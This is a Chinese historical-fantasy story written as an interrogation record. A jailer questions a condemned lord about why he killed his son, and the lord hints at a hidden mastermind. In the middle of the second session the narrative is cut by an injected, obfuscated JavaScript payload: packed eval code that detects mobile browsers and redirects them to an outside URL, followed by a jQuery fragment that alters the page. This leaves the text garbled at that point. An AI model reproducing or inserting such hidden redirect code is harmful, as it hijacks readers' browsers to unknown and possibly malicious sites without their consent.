秦广王殿下命鬼吏前往仙户大人处收集王淮生前档案，鬼吏取回档案时一位小仙童呈上如下卷宗。


    小仙童是仙户大人座下大弟子，本名郑愔，曾因犯错被贬入凡间历劫。


    此卷宗已烧毁，以下为回忆版。


    天永三十九年七月廿一


    大理寺郑愔(录)


    吏：王公大人，第一次来吧？


    王：岳父赴刑场的时候，替拙荆走过一次。


    吏：啊……这也才月余，林某的案子，同你是差不多的。王公大人对此可有印象？


    王：嗯。


    吏：王漼的事宜，可要我再述说一遍吗？


    王：不用，你拿杯酒给我。


    史：若是喝酒，审讯结果会出问题的。


    王：你怕什么？不是“酒后吐真言”么说不定我喝上一杯，什么都招了。


    吏：我只拿一杯，我再问你。


    王：王漼嘛，我听说圣上很器重他，夸他文采斐然，属实吗？


    吏：王少卿是个百年难遇的奇才。我没见过，我也是闲时听狱里同僚说的。不过，他不是你儿子吗，他得圣恩，不是光宗耀祖的好事吗？你却杀他，，这是何道理？


    王：他，是我杀的，但不是死于我手的。


    吏：你什么意思？


    王：有人想让他死，我也无可奈何。


    吏：官场本就错综复杂，机关算尽的人多了，你怎么为不相干的人杀自己儿子呢？


    王：怎么不相干？相干得很。


    吏：是你的岳父指使你杀的人？


    王：哦……不是他。他倒是很疼王淮——他总是以为他女儿嫁给我甜头未尝便走了，心里对小漼很愧疚。我如今坐在这里，最不想让我出去的人，就是他们林家了。他们暗中对我实施了颇多报复。


    吏：林诤不是伏诛了吗？


    王：林诤死了，林家不还还没倒吗？林诤那个哥哥，林泉泽不一样升官加爵？


    吏：林家与你有仇怨?


    王，应当有的。


    吏：你怎么不喝酒?


    王：等一等再喝。我想，这些旧事压底儿十几年了，总要讲与人听听的。


    吏：你讲吧。


    王：我夫人闺名叫林桢，想必京中无人不晓，她古琴弹得好，是风靡一时的宫廷乐师清川的关门弟子。她倒是喜欢那个琴师，只是清川才在宫中弹了年余，又继续云游四海了。


    吏：这与你……


    王：没什么干系。她后来应父母之命嫁予我，心中总有盏青灯，我怎么也吹不灭。林泉泽本是想利用她攀些强权的。


    吏：那你怎么会娶了她呢?


    王：林诤走投无路，那时先帝七老八十，哪家愿意自己女儿跟个老头子。我本家是琅琊王氏，又与太原谢家姻亲结得深，林泉泽哪里报复得了我?


    吏：那尊夫人是如何死的?


    王：一个绿意尚未消尽的长夏吧。我靠在枇杷树底纳凉，她欢欢喜喜地跑过来，对我说：“夫君，我要给你描花钿!”我一反问她，她就笑眯眯地点头。你不知道，她平日最喜流苏饰物，一点头啊，金声玉振。我就揽她坐在我身上，她手里是一支细杆的蘸了口脂的毛笔。女子家的物什我也不了解，我闭眼，润润的笔尖在我眉心轻移，飘乎着，我听见，风掠竹梢恣意的轻响，残鸣蝉叫此起彼伏，庭院里风铎清脆，直到口脂划过我的鼻尖，那笔落在地上……


    吏：王公大人……


    王：她的手，轻飘飘地垂着，便是，再没醒过来。


    吏：王夫人这是?


    王：失态了，嗯……林桌泽命人送了毒药给她。至于说了什么，我至今不明。


    吏：所以林诤知晓后杀了他的四个侄子？


    王：是。


    吏：那你呢？王夫人的死与王漼有联系吗？


    王：没有。


    吏：王大人你口中那个要王漼死的人，究竟是谁？


    王：举头三尺。


    吏：举头三尺有神明……其实我不大信神明之事。王公大人，你信吗？


    王：一样一样，这种东西玄乎得很，哈哈。


    吏：这酒你怎么不喝？


    王：还早，我说完了就喝。


    吏：那说说你怎么杀的王漼吧。


    王：还能怎么杀，官府仵作不都说了吗，是我的佩剑——一剑贯穿的。


    吏：你明知道不是！


    王：好好好，你说不是便不是吧。人都死了，也是我杀的，判决下来就好了，也没什么疑点了。


    吏：你杀子总得有个理由吧。否则，我也不会坐在这里听你讲这些往事了。


    王：这……可能是……他官途太顺挡了我的升迁吧，也没有什么理由……毕竟杀人这种事，都是脑门一热就拍案的。若是脑门不热，这人还杀不成。


    吏：你先前不是这样说的。


    王：先前？我说过吗？反正如此罢了，格外能说出什么花来。


    吏：你有什么冤屈吗？


    王：杀都杀了，没有冤屈。这酒我喝了啊，你不会给我下毒吧？


    吏：没有。那我们此次审讯便到这里吧。


    (上卷终)


    承宜元年七月十五


    大理寺郑愔(录)


    吏：恭喜啊，王公大人，新帝即位大赦天下，过两日你便能从牢狱里出去了。


    王：天下大赦？不过是为我提前掘了坟，我也算是没几日活头了。


    吏：大赦可是是好事，放心，到时候我亲自送你回府上，定不会出问题。


    王：多谢多谢。


    吏：只可惜你孤家寡人，如今妻儿老小无一人在府中。


    王：这才是好事一桩，倒让我没什么念想了。


    吏：话说，这王漼自幼长，在你膝下，你如今杀他，便是一点儿悔意也没有吗


    王：后悔什么？我王氏没落了，他怎可在圣上面前风光无限？要说，便是他不懂得“木秀于林，风必摧之”的理，千百年来，哪个皇帝忌惮功高盖主？


    吏：王公大人，你先别激动。


    王：我心情尚可。


    吏：王漼大人是文臣，身子又不大好，手中既无兵权，又无人脉，何况先帝也算是仁慈，必会善待王漼。你又何必担心他功高盖主。


    王：嗯。


    吏：今日提审，只是我来求你解惑罢了。


    王：你说。


    吏：王公大人可否告知


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15272416|166412||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    我，你杀死亲生儿子真正的缘由？


    王：不过是一对父子俩的恩怨罢了。我劝你呀，少追问这些根由为好，万一哪天同我一般，身陷泥潭，也只有死路一条。退也退不得，还惹了一身臊。更何况你与我儿也无私交，何必如此上心呢？


    吏：王公大人，我实言，是我私心想要救您，为您洗清冤屈，不叫您背负污名。王漼大人生前乃是为国为民的好官，您亦是。我虽只是一个狱中小卒……


    王：你叫什么名字？


    吏：郑愔，字须悉，大人称呼我小郑便可。


    王：你连这几句话都要写啊？


    吏：大人放心，卷宗录入的是精简删减后的，这一份只是为了应付二次审查。


    王：啊，这样也好。小郑，我也劝诚你，万万不可掺和进来。你以为，为什么每次提审我的人都是你？为什么每次都只有你我二人在场呢？你好好想想吧，我也不便再多说。


    吏：大人……


    王：我呢，年少风光无限，十七岁进士及第，琼林宴上也出尽风头，耳畔簪花、脚踩皂靴的日子也过了三十三个年头了，什么大风大浪没见过。我王家栽在这父子二人手里，是我等技不敌人，我也认下。漼儿死得，倒是舒心得很。


    吏：大人与去年，心境好像大不相同了。


    王：在这里关上一年多了，心境自然会有变化。


    吏：大人初来时，应是极痛心王漼大人的吧。


    王：小郑啊，你不必费尽心思套我的话，我今日走了，明日便见不着你了。你给我倒杯酒来，去年喝的那杯，味道就极好，


    吏：普通竹叶青罢了。


    王：我女儿呢？


    吏：湘夫人难产去世，林泉泽已命人下葬了。


    王：林泉泽那老东西倒是活得长呵，把湘儿嫁给他孙子，才是我此生所为最最愚蠢的决定。


    吏：王公大人节哀顺便。


    王：我那小孙儿，林泉泽如何待他？我入狱前，他已经会诵《千字文》了，我听着，欣慰得很。


    吏：王公大人……


    王：你但说无妨。


    吏：今年六月，那孩子溺水，已经去了。


    王：林诤……他儿子呢？护不住个小孩吗？


    吏：大人，坊间都传这是个意外。


    王：一只走狗，这么尽心尽力，他不怕兔死狗烹，鸟尽弓藏，他林家，满门陪葬？


    吏：王公大人，稍安勿躁。我现在送您回府吧？


    王：罢了。你好好在大理寺干吧，不必送我。若是再有闲暇，多送点儿酒给我。找不着我，送到坟头上亦可。


    吏：大人！为了案卷，我须得再问你一个问题。


    王：我定当知无不言。


    吏：王公大人，林净杀兄未遂，王少卿身死你手，林桢夫人毒发而亡，这背后，都是同一个推手么？


    王：小郑，我说了，你不要掺和进来。小心露重湿鞋，别怪我没提醒你。我去年已经告诉过你问题的答案了。除了你说的那些，濂州水涝，我女儿与孙儿之死，统统都为一人所为。


    吏：可是林泉泽？


    王：非也，非也。举头三尺，你便知晓了。


    (下卷终)